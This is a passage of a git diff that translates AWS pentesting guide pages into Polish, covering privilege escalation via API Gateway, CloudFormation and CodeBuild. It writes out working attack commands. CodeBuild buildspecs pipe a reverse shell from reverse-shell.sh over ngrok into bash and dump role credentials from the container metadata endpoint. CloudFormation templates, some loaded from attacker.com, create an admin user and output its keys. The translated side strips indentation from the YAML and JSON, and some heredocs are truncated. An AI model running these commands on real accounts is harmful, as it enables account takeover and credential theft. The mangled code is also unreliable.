gov i nie cn), aby dać Ci podpisany URL, którego możesz użyć do zalogowania się do konsoli internetowej: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -26,8 +25,8 @@ The following script will use the default profile and a default AWS location (no output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess) if [ $? -ne 0 ]; then - echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" - exit $status +echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" +exit $status fi # Parse the output @@ -43,10 +42,10 @@ federation_endpoint="https://signin.aws.amazon.com/federation" # Make the HTTP request to get the sign-in token resp=$(curl -s "$federation_endpoint" \ - --get \ - --data-urlencode "Action=getSigninToken" \ - --data-urlencode "SessionDuration=43200" \ - --data-urlencode "Session=$json_creds" +--get \ +--data-urlencode "Action=getSigninToken" \ +--data-urlencode "SessionDuration=43200" \ +--data-urlencode "Session=$json_creds" ) signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) @@ -55,11 +54,9 @@ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` - #### aws_consoler -You can **generate a web console link** with [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). - +Możesz **wygenerować link do konsoli webowej** z [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). ```bash cd /tmp python3 -m venv env @@ -67,27 +64,23 @@ source ./env/bin/activate pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` - > [!WARNING] -> Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume. +> Upewnij się, że użytkownik IAM ma uprawnienia `sts:GetFederationToken`, lub zapewnij rolę do przyjęcia. #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) is a tool to securely store and access AWS credentials in a development environment. - +[**aws-vault**](https://github.com/99designs/aws-vault) to narzędzie do bezpiecznego przechowywania i uzyskiwania dostępu do poświadczeń AWS w środowisku deweloperskim. ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` - > [!NOTE] -> You can also use **aws-vault** to obtain an **browser console session** +> Możesz również użyć **aws-vault**, aby uzyskać **sesję konsoli przeglądarki** -### **Bypass User-Agent restrictions from Python** - -If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing: +### **Obejście ograniczeń User-Agent z Pythona** +Jeśli istnieje **ograniczenie dotyczące wykonywania określonych działań w oparciu o agenta użytkownika** (na przykład ograniczenie użycia biblioteki python boto3 w oparciu o agenta użytkownika), możliwe jest użycie poprzedniej techniki, aby **połączyć się z konsolą internetową za pomocą przeglądarki**, lub możesz bezpośrednio **zmodyfikować agenta użytkownika boto3**, wykonując: ```bash # Shared by ex16x41 # Create a client @@ -100,9 +93,4 @@ client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda # Perform the action response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString']) ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md index fe4f69e25..b1f926a85 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md @@ -1,17 +1,13 @@ -# AWS - VPN Post Exploitation +# AWS - VPN Po Eksploatacji {{#include ../../../banners/hacktricks-training.md}} ## VPN -For more information: +Aby uzyskać więcej informacji: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md index ba8374b41..9cf0d9dd2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -1,27 +1,23 @@ -# AWS - Privilege Escalation +# AWS - Podwyższanie Uprawnień {{#include ../../../banners/hacktricks-training.md}} -## AWS Privilege Escalation +## Podwyższanie Uprawnień w AWS -The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other roles/users/groups privileges. Chaining escalations until you have admin access over the organization. +Sposobem na podwyższenie swoich uprawnień w AWS jest posiadanie wystarczających uprawnień, aby móc w jakiś sposób uzyskać dostęp do uprawnień innych ról/użytkowników/grup. Łączenie eskalacji, aż uzyskasz dostęp administratora do organizacji. > [!WARNING] -> AWS has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**. +> AWS ma **setki** (jeśli nie tysiące) **uprawnień**, które mogą być przyznane podmiotowi. W tej książce znajdziesz **wszystkie uprawnienia, które znam**, które możesz wykorzystać do **podwyższania uprawnień**, ale jeśli **znasz jakąś ścieżkę**, która nie została tutaj wspomniana, **proszę podziel się nią**. > [!CAUTION] -> If an IAM policy has `"Effect": "Allow"` and `"NotAction": "Someaction"` indicating a **resource**... that means that the **allowed principal** has **permission to do ANYTHING but that specified action**.\ -> So remember that this is another way to **grant privileged permissions** to a principal. +> Jeśli polityka IAM ma `"Effect": "Allow"` i `"NotAction": "Someaction"` wskazując na **zasób**... oznacza to, że **dozwolony podmiot** ma **zezwolenie na ROBIENIE WSZYSTKIEGO oprócz tej określonej akcji**.\ +> Pamiętaj, że to jest inny sposób na **przyznanie uprawnień uprzywilejowanych** podmiotowi. -**The pages of this section are ordered by AWS service. In there you will be able to find permissions that will allow you to escalate privileges.** +**Strony tej sekcji są uporządkowane według usługi AWS. Tam będziesz mógł znaleźć uprawnienia, które pozwolą Ci na podwyższenie uprawnień.** -## Tools +## Narzędzia - [https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py](https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py) - [Pacu](https://github.com/RhinoSecurityLabs/pacu) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index 7f7edbc6e..1306d1181 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -4,7 +4,7 @@ ## Apigateway -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-api-gateway-enum.md @@ -12,44 +12,37 @@ For more information check: ### `apigateway:POST` -With this permission you can generate API keys of the APIs configured (per region). - +Dzięki temu uprawnieniu możesz generować klucze API skonfigurowanych API (na region). ```bash aws --region apigateway create-api-key ``` - -**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. +**Potencjalny wpływ:** Nie możesz uzyskać podwyższonych uprawnień za pomocą tej techniki, ale możesz uzyskać dostęp do wrażliwych informacji. ### `apigateway:GET` -With this permission you can get generated API keys of the APIs configured (per region). - +Dzięki temu uprawnieniu możesz uzyskać wygenerowane klucze API skonfigurowanych API (na region). ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` - -**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. +**Potencjalny wpływ:** Nie możesz uzyskać podwyższonych uprawnień za pomocą tej techniki, ale możesz uzyskać dostęp do wrażliwych informacji. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -With these permissions it's possible to modify the resource policy of an API to give yourself access to call it and abuse potential access the API gateway might have (like invoking a vulnerable lambda). - +Dzięki tym uprawnieniom możliwe jest modyfikowanie polityki zasobów API, aby uzyskać dostęp do jego wywołania i nadużyć potencjalnego dostępu, jaki może mieć brama API (np. wywołując podatną lambdę). ```bash aws apigateway update-rest-api \ - --rest-api-id api-id \ - --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' +--rest-api-id api-id \ +--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` - -**Potential Impact:** You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info. +**Potencjalny wpływ:** Zazwyczaj nie będziesz w stanie bezpośrednio uzyskać podwyższonych uprawnień za pomocą tej techniki, ale możesz uzyskać dostęp do wrażliwych informacji. ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` > [!NOTE] -> Need testing - -An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **add a new integration to an existing API Gateway REST API with a Lambda function that has an IAM role attached**. The attacker can then **trigger the Lambda function to execute arbitrary code and potentially gain access to the resources associated with the IAM role**. +> Wymaga testowania +Napastnik z uprawnieniami `apigateway:PutIntegration`, `apigateway:CreateDeployment` i `iam:PassRole` może **dodać nową integrację do istniejącego API Gateway REST API z funkcją Lambda, która ma przypisaną rolę IAM**. Napastnik może następnie **wywołać funkcję Lambda, aby wykonać dowolny kod i potencjalnie uzyskać dostęp do zasobów związanych z rolą IAM**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -63,16 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Access to resources associated with the Lambda function's IAM role. +**Potencjalny wpływ**: Dostęp do zasobów związanych z rolą IAM funkcji Lambda. ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` > [!NOTE] -> Need testing - -An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks or to execute arbitrary code when API requests are made. +> Wymaga testowania +Napastnik z uprawnieniami `apigateway:UpdateAuthorizer` i `apigateway:CreateDeployment` może **zmodyfikować istniejącego autoryzatora API Gateway**, aby obejść kontrole bezpieczeństwa lub wykonać dowolny kod podczas składania żądań API. ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" @@ -84,16 +75,14 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Bypassing security checks, unauthorized access to API resources. +**Potencjalny wpływ**: Ominięcie kontroli bezpieczeństwa, nieautoryzowany dostęp do zasobów API. ### `apigateway:UpdateVpcLink` > [!NOTE] -> Need testing - -An attacker with the permission `apigateway:UpdateVpcLink` can **modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources**. +> Wymaga testowania +Napastnik z uprawnieniem `apigateway:UpdateVpcLink` może **zmodyfikować istniejące połączenie VPC, aby wskazywało na inny Load Balancer, potencjalnie przekierowując prywatny ruch API do nieautoryzowanych lub złośliwych zasobów**. ```bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" @@ -101,11 +90,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" ``` - -**Potential Impact**: Unauthorized access to private API resources, interception or disruption of API traffic. +**Potencjalny wpływ**: Nieautoryzowany dostęp do prywatnych zasobów API, przechwytywanie lub zakłócanie ruchu API. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md index b477dc31f..f4e2282e8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md @@ -7,7 +7,3 @@ TODO {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 39cba539e..3ea015788 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -4,7 +4,7 @@ ## cloudformation -For more information about cloudformation check: +Aby uzyskać więcej informacji na temat cloudformation, sprawdź: {{#ref}} ../../aws-services/aws-cloudformation-and-codestar-enum.md @@ -12,111 +12,99 @@ For more information about cloudformation check: ### `iam:PassRole`, `cloudformation:CreateStack` -An attacker with these permissions **can escalate privileges** by crafting a **CloudFormation stack** with a custom template, hosted on their server, to **execute actions under the permissions of a specified role:** - +Napastnik z tymi uprawnieniami **może eskalować uprawnienia** poprzez stworzenie **stosu CloudFormation** z niestandardowym szablonem, hostowanym na ich serwerze, aby **wykonywać działania w ramach uprawnień określonej roli:** ```bash aws cloudformation create-stack --stack-name \ - --template-url http://attacker.com/attackers.template \ - --role-arn +--template-url http://attacker.com/attackers.template \ +--role-arn ``` - -In the following page you have an **exploitation example** with the additional permission **`cloudformation:DescribeStacks`**: +Na poniższej stronie masz **przykład eksploatacji** z dodatkowym uprawnieniem **`cloudformation:DescribeStacks`**: {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md {{#endref}} -**Potential Impact:** Privesc to the cloudformation service role specified. +**Potencjalny wpływ:** Privesc do roli usługi cloudformation określonej. ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -In this case you can a**buse an existing cloudformation stack** to update it and escalate privileges as in the previous scenario: - +W tym przypadku możesz **nadużyć istniejącego stosu cloudformation**, aby go zaktualizować i eskalować uprawnienia, jak w poprzednim scenariuszu: ```bash aws cloudformation update-stack \ - --stack-name privesc \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \ - --capabilities CAPABILITY_IAM \ - --region eu-west-1 +--stack-name privesc \ +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \ +--capabilities CAPABILITY_IAM \ +--region eu-west-1 ``` +Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania sobie uprawnienia `UpdateStack`** nad stosem i przeprowadzenia ataku. -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack. - -**Potential Impact:** Privesc to the cloudformation service role specified. +**Potencjalny wpływ:** Privesc do roli usługi cloudformation określonej. ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -If you have this permission but **no `iam:PassRole`** you can still **update the stacks** used and abuse the **IAM Roles they have already attached**. Check the previous section for exploit example (just don't indicate any role in the update). +Jeśli masz to uprawnienie, ale **brak `iam:PassRole`**, nadal możesz **aktualizować stosy** używane i nadużywać **ról IAM, które już mają przypisane**. Sprawdź poprzednią sekcję w celu przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji). -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack. +Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania sobie uprawnienia `UpdateStack`** nad stosem i przeprowadzenia ataku. -**Potential Impact:** Privesc to the cloudformation service role already attached. +**Potencjalny wpływ:** Privesc do roli usługi cloudformation już przypisanej. ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -An attacker with permissions to **pass a role and create & execute a ChangeSet** can **create/update a new cloudformation stack abuse the cloudformation service roles** just like with the CreateStack or UpdateStack. - -The following exploit is a **variation of the**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) using the **ChangeSet permissions** to create a stack. +Atakujący z uprawnieniami do **przekazywania roli oraz tworzenia i wykonywania ChangeSet** może **tworzyć/aktualizować nowy stos cloudformation, nadużywając ról usługi cloudformation** tak jak w przypadku CreateStack lub UpdateStack. +Poniższe wykorzystanie to **wariant**[ **CreateStack**](./#iam-passrole-cloudformation-createstack) wykorzystujący **uprawnienia ChangeSet** do stworzenia stosu. ```bash aws cloudformation create-change-set \ - --stack-name privesc \ - --change-set-name privesc \ - --change-set-type CREATE \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::947247140022:role/CloudFormationAdmin \ - --capabilities CAPABILITY_IAM \ - --region eu-west-1 +--stack-name privesc \ +--change-set-name privesc \ +--change-set-type CREATE \ +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::947247140022:role/CloudFormationAdmin \ +--capabilities CAPABILITY_IAM \ +--region eu-west-1 echo "Waiting 2 mins to change the stack" sleep 120 aws cloudformation execute-change-set \ - --change-set-name privesc \ - --stack-name privesc \ - --region eu-west-1 +--change-set-name privesc \ +--stack-name privesc \ +--region eu-west-1 echo "Waiting 2 mins to execute the stack" sleep 120 aws cloudformation describe-stacks \ - --stack-name privesc \ - --region eu-west-1 +--stack-name privesc \ +--region eu-west-1 ``` +Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **nadania sobie uprawnień `ChangeSet`** nad stosem i przeprowadzenia ataku. -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `ChangeSet` permissions** over a stack and perform the attack. - -**Potential Impact:** Privesc to cloudformation service roles. +**Potencjalny wpływ:** Privesc do ról serwisowych cloudformation. ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -This is like the previous method without passing **IAM roles**, so you can just **abuse already attached ones**, just modify the parameter: - +To jest jak poprzednia metoda, ale bez przekazywania **ról IAM**, więc możesz po prostu **wykorzystać już dołączone**, wystarczy zmodyfikować parametr: ``` --change-set-type UPDATE ``` - -**Potential Impact:** Privesc to the cloudformation service role already attached. +**Potencjalny wpływ:** Privesc do roli usługi cloudformation już przypisanej. ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) -An attacker could abuse these permissions to create/update StackSets to abuse arbitrary cloudformation roles. +Napastnik mógłby nadużyć tych uprawnień, aby tworzyć/aktualizować StackSets w celu nadużycia dowolnych ról cloudformation. -**Potential Impact:** Privesc to cloudformation service roles. +**Potencjalny wpływ:** Privesc do ról usługi cloudformation. ### `cloudformation:UpdateStackSet` -An attacker could abuse this permission without the passRole permission to update StackSets to abuse the attached cloudformation roles. +Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia przypisanych ról cloudformation. -**Potential Impact:** Privesc to the attached cloudformation roles. +**Potencjalny wpływ:** Privesc do przypisanych ról cloudformation. -## References +## Odniesienia - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index d41f9062c..acda6af03 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -2,84 +2,74 @@ {{#include ../../../../banners/hacktricks-training.md}} -An attacker could for example use a **cloudformation template** that generates **keys for an admin** user like: - +Atakujący mógłby na przykład użyć **szablonu cloudformation**, który generuje **klucze dla użytkownika admin** jak: ```json { - "Resources": { - "AdminUser": { - "Type": "AWS::IAM::User" - }, - "AdminPolicy": { - "Type": "AWS::IAM::ManagedPolicy", - "Properties": { - "Description": "This policy allows all actions on all resources.", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": ["*"], - "Resource": "*" - } - ] - }, - "Users": [ - { - "Ref": "AdminUser" - } - ] - } - }, - "MyUserKeys": { - "Type": "AWS::IAM::AccessKey", - "Properties": { - "UserName": { - "Ref": "AdminUser" - } - } - } - }, - "Outputs": { - "AccessKey": { - "Value": { - "Ref": "MyUserKeys" - }, - "Description": "Access Key ID of Admin User" - }, - "SecretKey": { - "Value": { - "Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"] - }, - "Description": "Secret Key of Admin User" - } - } +"Resources": { +"AdminUser": { +"Type": "AWS::IAM::User" +}, +"AdminPolicy": { +"Type": "AWS::IAM::ManagedPolicy", +"Properties": { +"Description": "This policy allows all actions on all resources.", +"PolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": "*" +} +] +}, +"Users": [ +{ +"Ref": "AdminUser" +} +] +} +}, +"MyUserKeys": { +"Type": "AWS::IAM::AccessKey", +"Properties": { +"UserName": { +"Ref": "AdminUser" +} +} +} +}, +"Outputs": { +"AccessKey": { +"Value": { +"Ref": "MyUserKeys" +}, +"Description": "Access Key ID of Admin User" +}, +"SecretKey": { +"Value": { +"Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"] +}, +"Description": "Secret Key of Admin User" +} +} } ``` - -Then **generate the cloudformation stack**: - +Następnie **wygeneruj stos cloudformation**: ```bash aws cloudformation create-stack --stack-name privesc \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::[REDACTED]:role/adminaccess \ - --capabilities CAPABILITY_IAM --region us-west-2 +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::[REDACTED]:role/adminaccess \ +--capabilities CAPABILITY_IAM --region us-west-2 ``` - -**Wait for a couple of minutes** for the stack to be generated and then **get the output** of the stack where the **credentials are stored**: - +**Poczekaj kilka minut**, aż stos zostanie wygenerowany, a następnie **pobierz wynik** stosu, w którym **przechowywane są poświadczenia**: ```bash aws cloudformation describe-stacks \ - --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ - --region uswest-2 +--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ +--region uswest-2 ``` - ### References - [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index b179bec22..f7615c457 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -4,7 +4,7 @@ ## codebuild -Get more info in: +Uzyskaj więcej informacji w: {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,70 +12,65 @@ Get more info in: ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Only with one of these permissions it's enough to trigger a build with a new buildspec and steal the token of the iam role assigned to the project: +Tylko z jedną z tych uprawnień wystarczy, aby uruchomić budowę z nowym buildspec i ukraść token roli iam przypisanej do projektu: {{#tabs }} {{#tab name="StartBuild" }} - ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` - {{#endtab }} {{#tab name="StartBuildBatch" }} - ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` - {{#endtab }} {{#endtabs }} -**Note**: The difference between these two commands is that: +**Uwaga**: Różnica między tymi dwoma poleceniami polega na tym, że: -- `StartBuild` triggers a single build job using a specific `buildspec.yml`. -- `StartBuildBatch` allows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel). +- `StartBuild` uruchamia pojedyncze zadanie budowania przy użyciu konkretnego `buildspec.yml`. +- `StartBuildBatch` pozwala na uruchomienie partii budów, z bardziej złożonymi konfiguracjami (takimi jak uruchamianie wielu budów równolegle). -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Potencjalny wpływ:** Bezpośrednie privesc do dołączonych ról AWS Codebuild. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one. +Atakujący z uprawnieniami **`iam:PassRole`, `codebuild:CreateProject` oraz `codebuild:StartBuild` lub `codebuild:StartBuildBatch`** mógłby **eskalować uprawnienia do dowolnej roli IAM codebuild** poprzez utworzenie działającej. {{#tabs }} {{#tab name="Example1" }} - ```bash # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" @@ -84,20 +79,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" JSON="{ - \"name\": \"codebuild-demo-project\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"aws/codebuild/standard:1.0\", - \"computeType\": \"BUILD_GENERAL1_SMALL\" - }, - \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" +\"name\": \"codebuild-demo-project\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"aws/codebuild/standard:1.0\", +\"computeType\": \"BUILD_GENERAL1_SMALL\" +}, +\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" @@ -117,19 +112,17 @@ aws codebuild start-build --project-name codebuild-demo-project # Delete the project aws codebuild delete-project --name codebuild-demo-project ``` - {{#endtab }} -{{#tab name="Example2" }} - +{{#tab name="Przykład2" }} ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command echo 'version: 0.2 phases: - build: - commands: - - curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml +build: +commands: +- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml # Upload the buildspec to the bucket and give access to everyone aws s3 cp buildspec.yml s3:/buildspec.yml @@ -141,25 +134,23 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat aws codebuild start-build --project-name reverse-shell-project ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Direct privesc to any AWS Codebuild role. +**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli AWS Codebuild. > [!WARNING] -> In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**. +> W **kontenerze Codebuild** plik `/codebuild/output/tmp/env.sh` zawiera wszystkie zmienne środowiskowe potrzebne do uzyskania dostępu do **poświadczeń metadanych**. -> This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> Ten plik zawiera **zmienną środowiskową `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**, która zawiera **ścieżkę URL** do uzyskania poświadczeń. Będzie to coś takiego jak `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` -> Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials. +> Dodaj to do URL **`http://169.254.170.2/`** a będziesz mógł zrzucić poświadczenia roli. -> Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**. +> Ponadto zawiera również **zmienną środowiskową `ECS_CONTAINER_METADATA_URI`**, która zawiera pełny URL do uzyskania **informacji o metadanych kontenera**. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Just like in the previous section, if instead of creating a build project you can modify it, you can indicate the IAM Role and steal the token - +Podobnie jak w poprzedniej sekcji, jeśli zamiast tworzenia projektu budowy możesz go modyfikować, możesz wskazać rolę 